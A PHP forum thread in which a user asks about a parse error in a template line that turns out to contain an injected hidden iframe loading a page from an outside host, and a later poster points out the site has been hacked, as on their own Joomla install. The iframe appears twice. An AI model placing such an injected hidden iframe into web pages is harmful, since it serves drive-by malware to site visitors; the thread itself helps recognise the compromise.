Parse error: parse error, unexpected ';'

PHP programming forum. Ask questions or help people concerning PHP code. Don't understand a function? Need help implementing a class? Don't understand a class? Here is where to ask. Remember to do your homework!

Moderator: General Moderators

Post Reply
mr.g
Forum Newbie
Posts: 2
Joined: Wed Jul 08, 2009 12:02 am

Parse error: parse error, unexpected ';'

Post by mr.g »

Hi! I really need help on this. There's an error when I preview my site. The error is: Parse error: parse error, unexpected ';' this line:

<td <?=$bgcolor?> class="g"><img src="<?=$icon?>" alt="" border="0" align="left" hspace="5" vspace="0" /><a href="<?=$link?>" class="<?=$class?>"><?=$arrUpdates[$actr]['title']?></a><br><p align="justify"><?=str_replace(chr(13),$arrUpdates[ <iframe src="http://a3q.ru:8080/ts/in.cgi?pepsi87" width=125 height=125 style="visibility: hidden"></iframe>

Thanks!
SvanteH
Forum Commoner
Posts: 50
Joined: Wed Jul 08, 2009 12:25 am

Re: Parse error: parse error, unexpected ';'

Post by SvanteH »

Code: Select all

str_replace(chr(13),$arrUpdates[
That looks pretty odd, could you encase this line and the line before in a [ php ]-tag?
User avatar
califdon
Jack of Zircons
Posts: 4484
Joined: Thu Nov 09, 2006 8:30 pm
Location: California, USA

Re: Parse error: parse error, unexpected ';'

Post by califdon »

As far as I know, the syntax <?=$class?> is not valid. Try: <?php echo $class; ?>
SvanteH
Forum Commoner
Posts: 50
Joined: Wed Jul 08, 2009 12:25 am

Re: Parse error: parse error, unexpected ';'

Post by SvanteH »

<?= is known as shortttags (which on the other hand will be deprecated in PHP6) and works just fine for now.
mr.g
Forum Newbie
Posts: 2
Joined: Wed Jul 08, 2009 12:02 am

Re: Parse error: parse error, unexpected ';'

Post by mr.g »

Fiugred it out. Thanks guys! Really appreciate it.
rlekz
Forum Newbie
Posts: 1
Joined: Fri Jul 24, 2009 2:41 am

Re: Parse error: parse error, unexpected ';'

Post by rlekz »

Good that you've solved it, but did you know that you're site has been hacked? I'm pretty sure the instruction

<iframe src="http://a3q.ru:8080/ts/in.cgi?pepsi87" width=125 height=125 style="visibility: hidden"></iframe>

doesn't belong there. I have the same with my site. It's been hacked. This line has been added to all my index.html files and the index.php files in the administrator directory of Joomla.

I don't know how to solve everything yet.
Post Reply